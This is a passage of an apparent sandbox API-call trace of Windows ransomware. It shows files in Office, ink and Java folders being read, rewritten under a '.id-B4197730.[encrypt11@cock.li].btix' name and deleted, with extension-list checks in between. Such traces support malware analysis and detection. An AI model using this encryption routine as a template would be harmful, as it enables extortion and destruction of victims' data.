shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0147.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0147.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.178] lstrlenW (lpString=".doc") returned 4 [0147.178] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.178] lstrlenW (lpString=".docx") returned 5 [0147.179] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0147.179] lstrlenW (lpString=".pdf") returned 4 [0147.179] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.179] lstrlenW (lpString=".xls") returned 4 [0147.179] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.179] lstrlenW (lpString=".xlsx") returned 5 [0147.179] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0147.179] lstrlenW (lpString=".ppt") returned 4 [0147.179] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.179] lstrlenW (lpString=".zip") returned 4 [0147.179] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.179] lstrlenW (lpString=".rar") returned 4 [0147.179] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.179] lstrlenW (lpString=".bz2") returned 4 [0147.179] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.179] lstrlenW (lpString=".7z") returned 3 [0147.179] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.179] lstrlenW (lpString=".dbf") returned 4 [0147.179] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.179] lstrlenW (lpString=".1cd") returned 4 [0147.179] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.179] lstrlenW (lpString=".jpg") returned 4 [0147.179] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.179] lstrlenW (lpString=".doc") returned 4 [0147.179] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0147.179] lstrlenW (lpString=".docx") returned 5 [0147.179] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0147.179] lstrlenW (lpString=".pdf") returned 4 [0147.180] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0147.180] lstrlenW (lpString=".xls") returned 4 [0147.180] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0147.180] lstrlenW (lpString=".xlsx") returned 5 [0147.180] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0147.180] lstrlenW (lpString=".ppt") returned 4 [0147.180] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0147.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.180] lstrlenW (lpString=".zip") returned 4 [0147.180] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0147.180] lstrlenW (lpString=".rar") returned 4 [0147.180] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0147.180] lstrlenW (lpString=".bz2") returned 4 [0147.180] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0147.180] lstrlenW (lpString=".7z") returned 3 [0147.180] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0147.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.180] lstrlenW (lpString=".dbf") returned 4 [0147.180] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0147.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.180] lstrlenW (lpString=".1cd") returned 4 [0147.180] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0147.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0147.180] lstrlenW (lpString=".jpg") returned 4 [0147.180] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0147.180] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.180] lstrlenW (lpString="StreamServer.dll") returned 16 [0147.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.181] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=1053784) returned 1 [0147.181] CloseHandle (hObject=0x338) returned 1 [0147.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0147.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.181] lstrlenW (lpString=".doc") returned 4 [0147.181] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.181] lstrlenW (lpString=".docx") returned 5 [0147.181] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0147.181] lstrlenW (lpString=".pdf") returned 4 [0147.181] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.181] lstrlenW (lpString=".xls") returned 4 [0147.181] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.181] lstrlenW (lpString=".xlsx") returned 5 [0147.181] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0147.181] lstrlenW (lpString=".ppt") returned 4 [0147.181] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.181] lstrlenW (lpString=".zip") returned 4 [0147.181] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.181] lstrlenW (lpString=".rar") returned 4 [0147.181] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.181] lstrlenW (lpString=".bz2") returned 4 [0147.182] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.182] lstrlenW (lpString=".7z") returned 3 [0147.182] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.182] lstrlenW (lpString=".dbf") returned 4 [0147.182] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.182] lstrlenW (lpString=".1cd") returned 4 [0147.182] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.182] lstrlenW (lpString=".jpg") returned 4 [0147.182] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.182] lstrlenW (lpString=".doc") returned 4 [0147.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString=".docx") returned 5 [0147.182] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0147.182] lstrlenW (lpString=".pdf") returned 4 [0147.182] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString=".xls") returned 4 [0147.182] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString=".xlsx") returned 5 [0147.182] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0147.182] lstrlenW (lpString=".ppt") returned 4 [0147.182] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.182] lstrlenW (lpString=".zip") returned 4 [0147.182] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString=".rar") returned 4 [0147.182] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.182] lstrlenW (lpString=".bz2") returned 4 [0147.182] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.182] lstrlenW (lpString=".7z") returned 3 [0147.183] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.183] lstrlenW (lpString=".dbf") returned 4 [0147.183] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.183] lstrlenW (lpString=".1cd") returned 4 [0147.183] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0147.183] lstrlenW (lpString=".jpg") returned 4 [0147.183] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.183] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.183] lstrlenW (lpString="vcruntime140.dll") returned 16 [0147.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.183] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=88752) returned 1 [0147.183] CloseHandle (hObject=0x338) returned 1 [0147.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0147.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0147.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0147.184] lstrlenW (lpString=".doc") returned 4 [0147.184] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.184] lstrlenW (lpString=".docx") returned 5 [0147.184] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0147.184] lstrlenW (lpString=".pdf") returned 4 [0147.184] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.184] lstrlenW (lpString=".xls") returned 4 [0147.184] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.184] lstrlenW (lpString=".xlsx") returned 5 [0147.184] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0147.184] lstrlenW (lpString=".ppt") returned 4 [0147.184] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0147.184] lstrlenW (lpString=".zip") returned 4 [0147.184] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.184] lstrlenW (lpString=".rar") returned 4 [0147.184] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.184] lstrlenW (lpString=".bz2") returned 4 [0147.184] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.184] lstrlenW (lpString=".7z") returned 3 [0147.184] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0147.218] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.219] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0147.219] GetLastError () returned 0x0 [0147.219] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x6f440, lpOverlapped=0x0) returned 1 [0147.466] WriteFile (in: hFile=0x33c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x6f450, lpOverlapped=0x0) returned 1 [0147.473] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.473] WriteFile (in: hFile=0x33c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1 [0147.473] SetEndOfFile (hFile=0x33c) returned 1 [0147.473] CloseHandle (hObject=0x33c) returned 1 [0147.473] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.473] SetEndOfFile (hFile=0x338) returned 1 [0147.477] CloseHandle (hObject=0x338) returned 1 [0147.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0147.477] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1 [0147.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.478] lstrlenW (lpString=".doc") returned 4 [0147.478] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.478] lstrlenW (lpString=".docx") returned 5 [0147.478] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0147.478] lstrlenW (lpString=".pdf") returned 4 [0147.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.478] lstrlenW (lpString=".xls") returned 4 [0147.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.478] lstrlenW (lpString=".xlsx") returned 5 [0147.478] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0147.478] lstrlenW (lpString=".ppt") returned 4 [0147.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.478] lstrlenW (lpString=".zip") returned 4 [0147.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.478] lstrlenW (lpString=".rar") returned 4 [0147.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.478] lstrlenW (lpString=".bz2") returned 4 [0147.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.478] lstrlenW (lpString=".7z") returned 3 [0147.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.478] lstrlenW (lpString=".dbf") returned 4 [0147.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.478] lstrlenW (lpString=".1cd") returned 4 [0147.479] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.479] lstrlenW (lpString=".jpg") returned 4 [0147.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.479] lstrlenW (lpString=".doc") returned 4 [0147.479] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString=".docx") returned 5 [0147.479] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0147.479] lstrlenW (lpString=".pdf") returned 4 [0147.479] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString=".xls") returned 4 [0147.479] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString=".xlsx") returned 5 [0147.479] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0147.479] lstrlenW (lpString=".ppt") returned 4 [0147.479] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.479] lstrlenW (lpString=".zip") returned 4 [0147.479] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString=".rar") returned 4 [0147.479] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0147.479] lstrlenW (lpString=".bz2") returned 4 [0147.479] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0147.479] lstrlenW (lpString=".7z") returned 3 [0147.479] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0147.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.479] lstrlenW (lpString=".dbf") returned 4 [0147.479] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0147.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.480] lstrlenW (lpString=".1cd") returned 4 [0147.480] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0147.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52 [0147.480] lstrlenW (lpString=".jpg") returned 4 [0147.480] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0147.480] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0147.480] lstrlenW (lpString="j2pkcs11.dll") returned 12 [0147.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.480] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=63552) returned 1 [0147.480] CloseHandle (hObject=0x338) returned 1 [0147.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0147.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0147.481] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.481] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0147.481] GetLastError () returned 0x0 [0147.481] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xf840, lpOverlapped=0x0) returned 1 [0147.505] WriteFile (in: hFile=0x33c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf850, lpOverlapped=0x0) returned 1 [0147.806] ReadFile (in: hFile=0x338, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.806] WriteFile (in: hFile=0x33c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.806] SetEndOfFile (hFile=0x33c) returned 1 [0147.806] CloseHandle (hObject=0x33c) returned 1 [0147.806] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, 